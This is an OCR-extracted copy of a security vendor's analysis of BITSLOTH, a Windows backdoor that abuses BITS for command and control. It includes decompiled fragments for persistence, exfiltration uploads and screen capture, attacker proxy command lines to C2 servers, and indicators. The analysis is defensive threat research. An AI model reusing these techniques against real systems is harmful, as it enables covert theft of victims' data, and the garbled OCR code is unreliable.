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BITSLOTH at a glance

BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS)
as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier
this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the

malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.

The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging
and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and

command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.

Key takeaways

e BITSLOTH is a newly discovered Windows backdoor

e BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-
control communication

e BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes

o The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers

Discovery

Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into
the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the
infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of
BITSLOTH.

¢ RINGQ

« 10X

e STOWAWAY
e GODPOTATO
e NOPAC

e MIMIKATZ

e PPLFAULT

e CERTIFY

One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion
to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file (
main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash

blocklists or static signatures in some anti-malware products.

Page 1 of 22


https://github.com/T4y1oR/RingQ
https://github.com/EddieIvan01/iox
https://github.com/ph4ntonn/Stowaway
https://github.com/BeichenDream/GodPotato
https://github.com/Ridter/noPac
https://github.com/gentilkiwi/mimikatz
https://github.com/gabriellandau/PPLFault
https://github.com/GhostPack/Certify

https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

prai Fm HE 55 - @
« x T > IEFRRY > SE » RingQ v U 7E RingQ FigE ¥y
=t 1EREH ESid K
* RERR o
= B Create.exe 2024/5/11 20:15 RBRIEF 228 KB
-
K main.txt 2024/5/21 10:20 AR 1,329 KB
+TH &/ mimikatz.éxe 2024/5/11 16:14 anzE =4 1,324 KB
§ 30k @ ringQ.exe 2024/5/2011:00  RIFHFEf: 433 KB
=BR —
) B C:\Windows\system32\cmd.exe
RingQ
S B s\T4y eskto gQ>Create. exe mimikatz. exe
o B

Screenshot of RingQ demo
We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion

of “whoami”.

k process.executable k process.command_line

C:\ProgramData\RingQ.exe RingQ.exe proxy -r *45.32.22.62:443 -k 77686T616d69

RINGAQ loading and executing IOX

Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy
tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion.

These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal
interfaces, encryption capabilities as well as file transfer options.
k process.executable k process.command_line

C:\ProgramData\temp\agentu.exe C:\ProgramData\temp\agentu.exe -c 45.32.22.62:8089 -s
f86bc7ff68aff3ad --up http --reconnect 10

STOWAWAY proxy usage

After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL ( flengine.dll ) inside the
ProgramData directory. The actor then executed the music-making program FL Studio ( fl.exe ). Based on the observed

call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique

using a signed version of FL Studio.
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c:\windows\syswow64\ntd11.d11!0x770841AC
c:\windows\syswow64\ntd1l.d11!0x7709D287
c:\windows\syswow64\kernelbase.d11!0x76ED435F
c:\windows\syswow64\kernelbase.d11!0x76ED42EF
Unbacked!0x14EAB23

Unbacked!0x14EA8B6

c:\programdata\pl studio\flengine.dl1!0x74AD2F2E
c:\programdata\pl studio\fl.exe!@xDB3985
c:\programdata\pl studio\fl.exe!@xDB3E5SE
c:\programdata\pl studio\fl.exe!@xDB4D3F
c:\windows\syswow64\kernel32.d11!0x76B267F9
c:\windows\syswow64\ntd1l.d11!0x77077F4D
c:\windows\syswow64\ntd11.d11!0x77077F1B

This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL
that was set with Read/Write/Execute(RWX) page protections.

BITSLOTH overview

During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December
2021. Within this project, the malware developer chose notable terminology— referring to BITSLOTH as the Slaver
component and the command and control server as the Master component. Below is an example of one of the PDB file
paths linked to BITSLOTH that depicts this:

ﬂ‘! Please confirm X

o The input file was linked with debug information
and the symbol filename is:
"FAki3\github\bits\RMC\Release\Slaver.pdb”

Do you want to look for this file at the specified path
and the Microsoft Symbaol Server?

[ ] pon't display this message again

PDB linked to BITSLOTH sample

BITSLOTH employs no obfuscation around control flow or any kind of string encryption.
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BITSLOTH strings

[# strings

Address Length Type String

% .rdata:1003F100 0000004C C (16 bits) - UTF-16LE [UpdateMasterAddr] g_pMasterlP_W : %s

% .rdata:1003F098 00000064 C (16 bits) - UTF-16LE [UpdateMasterAddr] dwUseAddr: %d, pMasterAddr: %s
® .rdata:1003F160 00000034 C (16 bits) - UTF-16LE [UpdateMasterAddr] MASTER

% .rdata:1003F050 00000042 C (16 bits) - UTF-16LE [UpdateMasterAddr] DnsQuery_W...

% .rdata:1003DA80 0000003C C (16 bits) - UTF-16LE [UPLOAD_FILE_TO_MASTER] slaver

% .rdata:1003DA30 0000003C C (16 bits) - UTF-16LE [UPLOAD_FILE_TO_MASTER] masert

% .rdata:1003DB58 00000036 C (16 bits) - UTF-16LE [UPLOAD_FILE_TO_MASTER] %s

% .rdata:1003E180 00000042 C (16 bits) - UTF-16LE [UPDATE_SLAVER] szUpdateFile: %s

% .rdata:1003E130 00000042 C (16 bits) - UTF-16LE [UPDATE_SLAVER] szMyFileName: %s

% .rdata:1003E0D8 0000003E C (16 bits) - UTF-16LE [UPDATE_SLAVER] Update URL: %s

% .rdata:1003E320 00000046 C (16 bits) - UTF-16LE [UPDATE_SLAVER] Run update file...

% .rdata:1003E258 0000004E C (16 bits) - UTF-16LE [UPDATE_SLAVER] MapViewOfFile Error...

% .rdata:1003E2A8 00000036 C (16 bits) - UTF-16LE [UPDATE_SLAVER] Got key...

% .rdata:1003E2E0 00000040 C (16 bits) - UTF-16LE [UPDATE_SLAVER] Get key fail...

% .rdata:1003E200 00000056 C (16 bits) - UTF-16LE [UPDATE_SLAVER] CreateFileMapping Error...
% .rdata:1003BADS 0000004A C (16 bits) - UTF-16LE [Transfer] SetSecurityFlags Error...

= rdata-inn2RAON nnNNNNAA (A hiteY - 1ITEFAAIF [Trancfar]l Nnandntarfara Frear

Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is

a string referenced in the read-only section ( .rdata ).

if ( GetLastError() ==
{

ERROR_ALREADY EXISTS )

logger(&already running_program, 8);
empty_tunc();
exit(0);

¥

Debugging

This Simplified Chinese wide-character string translates to: Note: There is already a program running, do not run it

again---

Recipe Input

3 n e86c0613a002000725dcf7e585b2857004e2ade2c670b7a8F 5e2857d08F4c882c000d4e8d51cdo10d59d08F 4c882e002e002e0008
rom Hex

me 106 =1

Delimiter

Auto Output

(EE: BETE—FEFEET, TEESET. ..

Decode text

Ene

UTF-16LE (1200)

String left by developer

These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along
with what appear to be operator instructions. In the latest version, a new scheduling component was added by the
developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have

observed in other modern malware families such as EAGERBEE.
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while ( g_ConnectDate )

{
if ( hour <=9 )
break;
LODWORD(Time) = des::GetSystemTime(@);
tm = des::GetLocalTime(&Time);
tm day = tm->tm_mday;
_hour = tm->tm_hour;
~min = tm->tm_min;
Time = _ PAIR64  (hour, g ConnectHour);
logger(aRmcKernelGDwco, g ConnectDate);
Thread = _hour;
logger(L"[RMC_KERNEL] current day, current hour: %d, %d", tm day);
if ( !(tm day % g_ConnectDate) & & hour == g_ConnectHour }
break;
logger(L"[RMC_KERNEL] Mot connect time...", tm day);
Sleep(@xEAGBUY ;
}

BITSLOTH scheduling component

BITSLOTH code analysis
BITSLOTH is a backdoor with many different capabilities including:

e Running and executing commands
e Uploading and downloading files

e Performing enumeration and discovery

Collecting sensitive data through keylogging and screen capturing

Mutex

BITSLOTH uses a hard-coded mutex ( Global\d5ffff77ff77adad657658 ) within each sample to ensure only one instance

is running at a time.

Type Mame Handle
Section \BaseMamedObjects_ ComCatalogCache__ 0x254
Section \BaseMamedObjects'_ ComCatalogCache__ 0x244
Section \Sessions'1\BaseMamedObjects\windows_shell_global_counters Ox22c
Mutant \BaseMamedObjects\d S 777 7adada 57658 0x230
Mutant \Sessions'1\BaseMNamedObjects \SMO: 4948: 168: WilStaging_02 0x188
Key HECU\Software\Classes w268
Mutex used by BITSLOTH
Communication

BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the Slaver component and
the command and control server (C2) as the Master component. The developer embeds the IP/port of the C2 server in
each sample with a front-loaded string ( rrrr_url ). This string acts as a key to identify the C2 configuration in itself

while running in memory, this is used when updating the C2 server.
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Below are the configurations in several samples our team has observed, the threat actor configures both internal and

external IP ranges.

rrrr_url216.238.121[.]132:8443
rerr_url192.168.1[.1125:8443
rrrr_url192.168.1[.1124:8443
rrrr_url45.116.13[.1178:443

One of the defining features of BITSLOTH is using the Background Intelligent Transfer Service (BITS) for C2. While this

feature has been designed to facilitate the network transfer of files between two machines, it’s been abused by multiple
state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries

because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.

Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling
the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple
features during the file transfer process such as the ability to pause/resume transfers, handling network
interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as

trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.

The BITS API is exposed through Window’s Component Object Model (COM) using the IBackgroundCopyManager
interface. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access
a specific job from a transfer queue.

int _ cdecl des::BITS::InitializeIBackgroundCopyManager(IBackgroundCopyManager * ppv)

{
int flag_status; // esi
DWORD com_status; // eax
DWORD TInstance; // eax
IBackgroundCopyManager *ppv; // [esp+4h] [ebp-4h] BYREF

atus € 2 )

ateTnstance(&CLSTID_BackgroundCopyManager, @, 4u, &TID_TBackgroundCopyManager, &ppv);

L]

setlastError{Instance);

¥
else
{
SetlLastError{com_status);
}
nullsub();
if ( ppv
pv->1pVtbl->Release(ppv);
return flag status;

Initializing IBackgroundCopyManager interface

After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display

names:

e WU Client Download

Page 6 of 22


https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal
https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/
https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager

https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

e WU Client Upload
e WU Client Upload R

These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective

BITS jab type. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.

switch ( job_type )
{
case WU_Client_Download_1:
case WU_ Client Download 2:
i g download flag;
g BG_JOB_TYPE_DOWNLOAD;
alluClientDownlo; // WU Client Download

case WU Client Upload 1:
case WU Client Upload 2:

g config = g upload flag;

job type flag = BG_JOB_TYPE_UPLOAD;

job_name = aWuClientUpload; // WU Client Upload
break;

case WU _Client_Upload_Reply 1:
case WU _Client_Upload_Reply 2:

g config = g_upload_r;
job_type flag = BG_JOB_TYPE_UPLOAD_REPLY;
job_name = aWuClientUpload_0; // WU Client Upload R
break;
default:

Switch statement inside BITSLOTH to process BITS job
Below are the Microsoft definitions matching the type of BITS job:

« BG_JOB_TYPE_DOWNLOAD - Specifies that the job downloads files to the client.
e« BG_JOB_TYPE_UPLOAD - Specifies that the job uploads a file to the server.
e BG_JOB_TYPE_UPLOAD_REPLY - Specifies that the job uploads a file to the server, and receives a reply file

from the server application.

After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global

variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job

is created with the name ( Microsoft Windows ).

HRESULT = ppv->1pVtbl->Createlob(ppv, str_MicrosoftWindows, BG_JOB_TYPE_DOWNLOAD, p_job_id, &pp_job);
if ( !HRESULT )
¢ HRESULT = pp_job->»1pVtbl-»SetPriority(pp_job, BG_JOB_PRIORITY_FOREGROUND);
if ( VHRESULT )
¢ result?2 = pp_job->1pVtbl->QueryInterface(pp_job, &IBackgroundCopyJob2, &job2);
if ( result2 )

BITS job creation for auto-start functionality

This download job sets the destination URL to http://updater.microsoft[.]com/index.aspx . While this domain is not
routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses SetNotifyCmdLine

to execute the malware when the transfer state is changed.
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job2->1pVtbl->SetNotifyCmdLine(job2, file name, @);

Setting up BITS persistence via SetNotifyCmdLine

Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation

for several years.

URLs (2) O

Scanned Detections Status URL

2024-07-11 0/94 - http://updater.microsoft.com/index.aspx
2021-09-18 0/89 - http://updater.microsoft.com/

Communicating Files (6) ©

Scanned Detections Type Name

2022-01-02 41 [ 67 Win32 EXE 1242.exe

2022-01-06 48 [ 69 Win32 EXE c:\programdata\media\setup_wm.exe

2022-03-02 31 /61 Win32 EXE c:\programdata\media\setup_wm.exe

2021-12-10 35 /68 Win32 EXE c:\programdata\media\setup_wm.exe

2021-09-18 34 /69 Win32 EXE svchost.exe

2023-03-13 41 /69 Win32 EXE 9bad6035b5147dd 186e5fc6356966de5eTa34020527610aace3239cd2787d06e

VirusTotal relationships from embedded Microsoft URL

At this point, the malware has now been configured with persistence via a BITS job named Microsoft Windows . Below is
a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location

( C:\ProgramData\Media\setup_wm.exe )

GUID: {AABBDB35-D61D-48 8 818F1413E2FB} DISPLAY: ‘Microsoft Windows®
TYPE: DOWNLOAD STATE: ERROR DESKTOP-2C3IQHO\REM
PRIORITY: FOREGROUND FILES: @ / 1 BYTES: 8 / UNKNOWN

\ TIME: /2024 9:53:22 AM MODIFICATION TIME: 7/23/2824 9:53:23 AM

PLETION TIME: UNKNOWN ACL FLA
NOTIFY INTERFACE: UNREGISTERED NOTIFICATIOM
RETRY DELAY: &8 ESS TIMEOUT: @ ERR

USAGE: PRECONFIG PROXY LIST: NULL PR
. FILE: http://updater.microsoft.com/index.aspx - Users\REM\AppData\Local\Temp\wmA3BB. tmp
0x80@72efd - A connection with the server could not be established
: BxBeBeeses - The error occurred while the remote file was being processed.

{NOWN WORKING http://updater.microsoft.com/index.aspx -> Users\REM\AppData\Local\Temp\wmA3BE. tmp
H \ProgramData\Media\setup_wm.exe’

: MEDIUM

false

BITSLOTH persistence job

Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the WU Client Download
job. This request URL is generated by combining the MAC address with a hard-coded string ( wu.htm ). Below is an
example URL:

https://192.168.182.130/00-0C-29-0E-29-87/wu.htm

In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for
the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files
from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a

filename starting with characters ( wm ) appended by random characters.
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VirtualAlloc(@, 0x1000u, 0x3000u, PAGE_READWRITE);

a
p_file_path;

path)
9, 0x1000u, Ox30P0u, 4u), ( p temp file name = p temp file name) != @)

if ( GetTempPathW(@x800u, p temp file |
&% (p temp file name = VirtualAlloc( |
&% GetTempFileNameW(p path name, L"wm", @, p temp file name) }// C:\Users\REM\AppData‘\Local\Temp\wm22EB . tmp

{
flag = 1;
}
else
nullsub();
}
if ( VirtualFree(p_path_name, @, 0x8086u) )
{
if ( flag )

if ( |_p_temp_file name || VirtualFree(_p_temp file name, @, 0x8000u) )
return flag;

=¥

Data exchange through temporary files
Command functionality

BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim
machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR
( 0x2 ) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim

data have no additional protections by the malware itself and are sent in plaintext.

In order to move fast, our team leveraged a helpful Python implementation of a BITS server released by SafeBreach Labs.

By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.

switch ( _p ctx-»struc_4.command_id )
{
case @x7DC:
des::logeging();
ProcessList = des::handler::GetProcessList(ppv, p_incoming data received by server);
if ( !Processlist )
goto LABEL_2;
goto LABEL_163;
case Ox7DD:
des::logging();
Processlist = des::handler::GetServices(ppv, p
if ( !Processlist )
goto LABEL_2;
goto LABEL_163;
case Ox7DE:
des::logeging();
ProcessList = des::handler::GetSystemInfo();
if ( !Processlist )
goto LABEL_2;
goto LABEL_163;
case Ox7DF:
des::logging();
Processlist = des::handlerGetWindowlList(ppv, p_incoming_data received_by_server);
if ( !Processlist )
goto LABEL 2;

BITSLOTH command handler

i]

_incoming_data received by server);

The handlers all behave in a similar approach performing a primary function then writing the data returned from the

handler to a local temporary file. These temporary files then get mapped to a BITS upload job called WU Client Upload .
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Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses

a single letter to represent the type of data collected from the host, such as P.bin for processes or S.bin for services.

http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin

Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is
then linked to the BITS upload job.

memset(url, @, @x208u);
if ( flag_protocol == HttpsTransferProtocol )

swprintf(url, @8x208u, L"%s%ls/%1s/%1s/%1s", L"https://", p_master_IP, g MAC, L"IF", L"P.bin");
else

swprintf(url, 0x208u, L"%s%ls/%ls/%1s/%1s", L"http://", p_master_IP, g MAC, L"IF", L"P.bin"});

// http://192.168.182.130/00-0C-29-OE-29-87/IF/P.bin
if ( des::bits::InitiateJob(ppv, WU_Client_Upload, url, p_incoming data_rec
return 1;

BITSLOTH handler for running processes

This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we
can see the destination URL (C2 server) for the upload and the temporary file ( wm9F@C. tmp ) linked to the job.

GUID: {9182DB14-F69B-AB51-AACE-B2B7COEAFFC7} DISPLAY: 'WU Client Upload'

TYPE: UPLOAD STATE: CONNECTING OWNER: DESKTOP-2C3IQHO\REM

PRIORITY: HIGH FILES: © / 1 BYTES: @ / UNKNOWN
CREATION TIME: 7/23/2024 3:25:83 PM TFICATION TIME: 7/23/2024 3:.

TIMEOUT: @ E

LIST: NULL PROXY BYPASS LIST: NULL

DESCRIPTION:
JOB FILES:
3] W WORKING http 27.8.8.1/00-8C-29-BE-29-87/IF/P.bin -» Users\REM\AppData‘iLocal\Temp\wm9FOC . tmp
ND LINE: none
y level: MEDIUM
false

BITS upload job configuration

If we look at the temporary file, we can see the collected process information from the victim host.

Page 10 of 22



https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

0 HxD - [C\Users\REM\AppData\Local\Temp\wm9F0C.tmp]

i) File Edit Search View Analysis Tools Window Help
| (L) | B8 @~ 216 || Windows (ANSI) v | hex v

5] wm9FOC.tmp

Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
00000000 31 33 32 OD OA OD OA 30 OD OA OD OA 30 OD OA 30 132....0....0..0
00000010 OD ORA 28 ©E 75 oC 6C 29 0D OA OD OA OD OA 53 79 ..(null)...... Sy
00000020 73 74 65 €D 0D OA 34 0D OA OD OA 30 OD OA 30 0D stem..%....0..0.
00000030 OA 28 6E 75 6C 6C 29 0D OA 53 79 73 74 65 6D 0D . (null)..System.
00000040 OA OD OA 73 6D 73 73 2ZE €5 78 65 0D 0OA 32 39 32 « .. SMSS.8Xe..292
00000050 OD OR OD OA 30 OD OA 30 OD OAR 28 B6E 75 6C 6C 29 ....0..0..(null)
00000060 OD OR 73 6D 73 73 2E €65 78 65 0D OA OD OA 63 73 ..smss.exe....C3
00000070 72 73 73 2E 65 78 65 0D OA 33 38 30 OD OA OD OA rss.exe..380....
00000080 30 OD OA 30 OD OA 28 6E 75 6C 6C 29 0D OA 63 73 0..0..(null)..cs
00000090 72 73 73 2ZE 65 78 €65 0D OA OD OR 77 69 €6E 69 €E rss.exe....winin
000000A0 69 74 2E 65 78 65 0D OA 34 35 36 0D OA OD OA 30 it.exe..456....0
000000BO OD OA 30 OD OA 28 6E 75 6C 6C 29 0D OA 77 69 €E ..0..(null)..win
000000C0O 69 6E €69 74 2ZE 65 78 65 0D OA OD OA 63 73 72 73 1init.exe....CSrs
000000D0O 73 2E €5 78 65 0D OA 34 36 34 OD OA OD OA 30 0D s.exe..464....0.

Contents of temporary file holding exfiltrated data

Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the

captured data.

‘ Wireshark - Follow TCP Stream (tcp.stream eq 649) - Adapter for loopback traffic capture

BITS_POST /0@-0C-29-0E-29-87/IF/P.bin HTTP/1.1
Connection: Keep-Alive

Content-Range: bytes ©-4560/8361

Accept: */*

User-Agent: Microsoft BITS/7.8
BITS-Packet-Type: Fragment

BITS-Session-Id: -987903189

Content-Length: 4561

Host: 127.6.0.1

132
2]

2]
]
(null)

System
4

<}
<}
(null)
System

SMSS.exe
292

Outbound BITS_POST request

Command handling table

Command ID Description

0 Collect running processes via WTSEnumerateProcessesW

Page 11 of 22



https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

Command ID Description

1 Get Windows services via EnumServicesStatusW
2 Get system information via systeminfo command
3 Retrieve all top-level Windows via EnumWindows
5 Collect file listings

6 Download file from C2 server

7 Upload file to C2 server

10 Terminate itself

11 Set communication mode to HTTPS

12 Set communication mode to HTTP

13 Remove persistence

14 Reconfigure persistence

15 Cancel BITS download job ( WU Client Download )
16 Remove persistence and delete itself

17 Thread configuration

18 Duplicate of handler #2

19 Delete file based on file path

20 Delete folder based on file path

21 Starts terminal shell using stdin/stdout redirection
22 Resets terminal handler (#21)

23 Runs Windows tree command

24 Updates BITSLOTH, delete old version

25 Shutdown the machine via ExitWindowsEx

26 Reboot the machine via ExitWindowsEx

27 Log user off from the machine via ExitWindowsEx
28 Terminate process based on process identifier (PID)
29 Retrieves additional information via msinfo32 command
30 Execute individual file via ShellExecuteW
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Command ID Description

34 Create new directory via CreateDirectoryW

41 Upload data to C2 server

42 Checks for capture driver via capGetDriverDescriptionW
43 Take screenshots of victim machine desktop

44 Record keystrokes from victim machine

45 Stop recording screenshot images

46 Stop keylogger functionality

Backdoor functionality

BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim

environment. We will focus on the more significant capabilities by grouping them into different categories.
Discovery/enumeration

A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This

includes:

» Retrieving process information via WTSEnumerateProcessesW
e Collecting Windows services via EnumServicesStatusW
e Enumerating all top-level Windows via EnumWindows with a callback function
e Retrieving system information via windows utilities such as systeminfo and msinfo32
if ( des::BITS::InitializeIBackgroundCopyManager(&al)
&& des::CreateTempFile(&tmp +ile)

&8 (wsprintfll(CommandlLine, L"cmd.exe /c systeminfo > %s", tmp fil
CreateProcessW(®, CommandlLine, @, @, @, @, 0, @, &tartupInfo, &ProcessInformation)) )

WaitForSingleObject(ProcessInformation.hProcess, @xFFFFFFFF);
if ( flag _protocol == HttpsTransferProtocol )
lstrepyW({CommandLine, L"https://");
else
lstrcpyW(CommandLine, L"http://");

wsprintfiW(&CommandLine[wecslen(CommandLine)], L"%s/%s/QueryUpdate.bin™, p_master IP, g MAC);
des::logging();
if ( des::bits::InitiateJob(al, WU_Client Upload_2, CommandlLine, tmp file) )
ve = 1;
else
des::logging();

BITSLOTH handler used to collect system information

In many of the handlers, the locale version is configured to chs (Chinese - Simplified).
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setlocale(®, “"chs");
dwProcessId = @;
memset(vo, @, sizeof(vo));
memset(String, @, sizeof(String));
memset(Classhlame, @, sizeof(Classhame));
GetWindowTextW(hknd, String, 200);
GetClassNamel(hiind, Classhame, 200);
GetWindowThreadProcessId(hlind, &dwProcessId);
v2 = OpenProcess(@x410u, @, dwProcessId);
if (w2 )
{
GetModuleBaseNameW(v2, @, vo, 200);
CloseHandle(v2);

¥
fwprintf(a2, L"%1s\n%ls\n%ls\n%d\n%d\n", String, w6, ClassMame, dwProcessId, hlind);
return 1;

Retrieve Windows information

BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree

searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:

¢ GET_DESKDOP - CSIDL_DESKTOPDIRECTORY (Desktop)
¢ GET_BITBUCKET -> CSIDL_BITBUCKET (Recycle Bin)
¢ GET_PERSONAI -> CSIDL_MYDOCUMENTS (My Documents)

result desktop = wescmp(ctx-»p_data buffer, L"GET_DESKDOP");
if { result desktop )
result desktop = result _desktop <« @ ? -1 : 1;

if { lresult desktop )
{
SHGetSpecialFolderPathlW(®, pszPath, CSIDL_DESKTOPDIRECTORY, @);
goto LABEL 29;
}
result bitbucket = wescmp(ctx->p_data buffer, L"GET _BITBUCKET™"};
if ( result_bitbucket )
result _bitbucket = result bitbucket < @& ¢ -1 : 1;
if { !result bitbucket )
{
SHGetSpecialFolderPathW(®, pszPath, CSIDL_BITBUCKET, @);
goto LABEL 29;
}
result personal = wescmp(ctx-»p_data _buffer, L"GET_PERSONAL™);
if { result personal )
result personal = result personal < @ ¢ -1 : 1;
if ( !result_personal )
{
SHGetSpecialFolderPathl(®, pszPath, CSIDL_MYDOCUMENTS, @);
goto LABEL 29;
}
result drives = wescmp(ctx-»>p_data_buffer, L"GET DRIVES");
if { result drives )
result drives = result _drives < ® ? -1 : 1;

File listing parameters via BITSLOTH
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BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows
tree utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary

file named aghzyxklg .

for (1 =0; 1 <« 25; ++1 )

wsprintfl{RootPathName, L"%c:\\", drive_letter);

DriveTypell = GetDriveTypeW(RootPathMame);

v12 = DriveTypel;

if ( DriveTypell >= DRIVE_REMOVABLE &% (v12 <= DRIVE_FIXED || v12 == DRIVE_CDROM) )

{
wsprintfl{Commandline, L"%s\\system32\\cmd.exe /c tree /f %c:\\ >> \"¥s", systemroot, drive_letter, IpFilelame);
uMode = SetErrorMode(3u);
TempPathW = CreateProcessW(®, CommandlLine, ©, @, @, @, @, @, &StartupInfo, &ProcessInformation);
SetErrorMode(uMode);
if ( !TempPathW )

StartupInfo.lpReserved = 8;

StartupInfo.cb = @;

empty_func();
v8 = WaitForSingleObject(ProcessInformation.hProcess, @xFFFFFFFF);
CloseHandle(ProcessInformation_hThread);

CloseHandle(ProcessInformation_hProcess);

++drive letter;

Tree listing via BITSLOTH

The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected

data. This data can help pinpoint sensitive files or provide more context about the target environment.

=] aghzyxidg E3
1 Folder PATH listing
Z Volume serial number is R2CY9-AD2ZF
3 C:\
= — inetpub
3] —— custerr
€ L en-Us
— 401-1.htm

— 401-2.htm

9 L 401-3.htm
1C L— 401-4.htm
11 L 401-5.htm
12 L— 401.htm

Example of data collected through GetDirectoryTree handler
Collection

In terms of collection, there are a few handlers used for actively gathering information. These are centered around

capturing screenshots from the desktop and performing keylogging functionality.

BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to

check for a camera using the Windows API (capGetDriverDescriptionW).
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p file = _wfopen(tmp_file, L"w+");

capGetDriverDescriptionW(®, p capture driver, 260, p len capture driver, 26@);

Buffer = '@’';
if ( lstrlenW(p_capture_driver) )
Buffer = '1";
fwrite(&Buffer, 2u, 1u, p file);
fclose(p file);
memset(url, @, @x208u);
if ( flag_protocol == HttpsTransferProtocol )

swprintf(url, @x208u, L"%s%ls/%1s/%1s/%1s", L"https://", p_master_IP, g MAC, L"IF",

else

swprintf(url, @x208u, L"%s%ls/%1s/%1s/%1s", L"http://", p_master_IP, g MAC, L"IF",
if ( des::bits::Initiatelob(z1l, WU_Client Upload_2, url, tmp file) )

return 1;

Handler that records capture devices

a .ZIP archive. These timestamped zipped archives are then sent out to the C2 server.

- E
dcSrc = GetDC(@);

¢ = GetDC(hWnd);
mpatibleDC = CreateCompatibleDC(hdc);
CompatibleDC )

GetClientRect(hlind, &Rect);
SetStretchBltMode(hdc, 4);
SystemMetrics = GetSystemMetrics(l);
v2 = GetSystemMetrics(0);
if ( StretchBlt(hdc, ®, ®, Rect.right, Rect.bottom, hdcSrc, 9, @, v2, SystemMetrics, @xCCO820u) )
{
h = CreateCompatibleBitmap(hdc, Rect.right - Rect.left, Rect.bottom - Rect.top);
if (h)

SelectObject(CompatibleDC, h);

L"C.bin");

L"C.bin");

BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a
separator ( || ) where the operator provides the number of seconds of the capture interval and the capture count. The

images are stored as BMP files with a hard coded name ciakfjoab and compressed with the DEFLATE algorithm using

The handler leverages common screenshot APIs such as CreateCompatibleBitmap and BitBlt from Gdi32.d1l .

if ( BitBlt(CompatibleDC, @, @, Rect.right - Rect.left, Rect.bottom - Rect.top, hdc, @, 8, 8xCCOP20u) )

{
GetObjectl(h, 24, &pbstrResult);
bmi.bmiHeader.biSize = 48;
bmi.bmiHeader.biWlidth = v7;
bmi.bmiHeader.biHeight = clLines;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
memset (&bmi.bmiHeader.biCompression, ©, 24);
pvtime = (cLines * 4 * ((32 * v7 + 31) / 32));
hMem = GlobalAlloc(@x42, pvtime);
1pBuffer = GloballLock(hMem);
